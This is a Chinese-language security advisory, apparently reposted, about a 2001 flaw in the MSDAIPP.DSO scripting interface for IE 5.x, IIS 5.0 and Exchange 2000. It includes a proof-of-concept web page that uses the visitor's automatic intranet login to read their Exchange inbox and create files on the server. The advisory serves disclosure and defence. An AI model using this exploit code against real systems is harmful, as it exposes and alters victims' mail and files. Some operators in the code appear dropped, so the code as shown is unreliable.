微软MSDAIPP.DSO脚本接口漏洞

2008-04-09 04:35:02来源：互联网阅读 ()

微软MSDAIPP.DSO脚本接口漏洞

发布日期：2001-03-30
更新日期：2001-03-30

受影响系统：

IE 5.x IIS 5.0/Exchange 2000
- Win2K

描述：

MSDAIPP.DSO(Microsoft OLE DB Provider for Internet Publishing)提供了一种脚
本接口，用于访问、管理IIS 5.0或者Exchange 2000。问题在于该接口允许脚本连接
任意服务器，而不仅仅限于被加载WEB页面所在服务器。更糟糕的是，此时脚本连接
的IIS 5.0服务器如果在IE 5.x客户端的"本地 Intranet 区域"中，缺省情况下
IE 5.x不对用户做任何提示，自动进行身份验证。攻击者可以构造一个恶意的WEB页
面，远程用户浏览该页面的时候，页面中的脚本以远程用户的身份访问预先指定的
IIS 5.0或者Exchange 2000，如果访问验证通过，脚本可以获取远程用户在Exchange
2000上的邮件信息，获取IIS 5.0上该远程用户可以访问到的敏感信息(比如目录列表
)，还可以远程用户的身份在Exchange 2000上修改文件、创建新文件。潜在的破坏随
远程用户的权限不同而不同。注意，这个恶意的WEB页面本身可以位于任意WWW服务器
上。

<* 来源：Georgi Guninski *>

测试方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

为了测试下列页面，需要修改INTRASERVER 和 USERNAME。具体原理参看漏洞描述。
如果IIS 5.0的配置允许相应远程用户浏览目录，则可以修改页面中的Data Source设
置，脚本将获取INTRASERVER的目录列表。

--msdaippdemo.html----------------------------------------------------------
---
<HTML>
Written by Georgi Guninski
<SCRIPT>
function f()
{
conn=new ActiveXObject("ADODB.Connection");
conn.ConnectionString='Provider=MSDAIPP.DSO.1;
Data Source=http://INTRASERVER/exchange/USERNAME/inbox';
file://change INTRASERVER and USERNAME with real values
rec=new ActiveXObject("ADODB.Record");
conn.Open();
rs=new ActiveXObject("ADODB.Recordset");
rs.Open("SELECT * from SCOPE()",conn);
win=window.open("about:blank");
win.document.open();
// DISPLAYS ALL MESSAGES FROM USER'S INBOX
while (!rs.EOF)
{
for(i=0;i<rs.Fields.Count;i )
{

win.document.writeln(rs.Fields(i).Name "=" rs.Fields(i).Value "<BR>");
}
rs.MoveNext();
}
file://create file file newlycreatedfile.html
rec.Open ("newlycreatedfile.html",conn,3,0);
win.document.close();
}
setTimeout("f()",1000);
</SCRIPT>
</HTML>

建议：

临时解决办法：

NSFOCUS建议您暂时禁止活动脚本

厂商补丁：

暂无

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有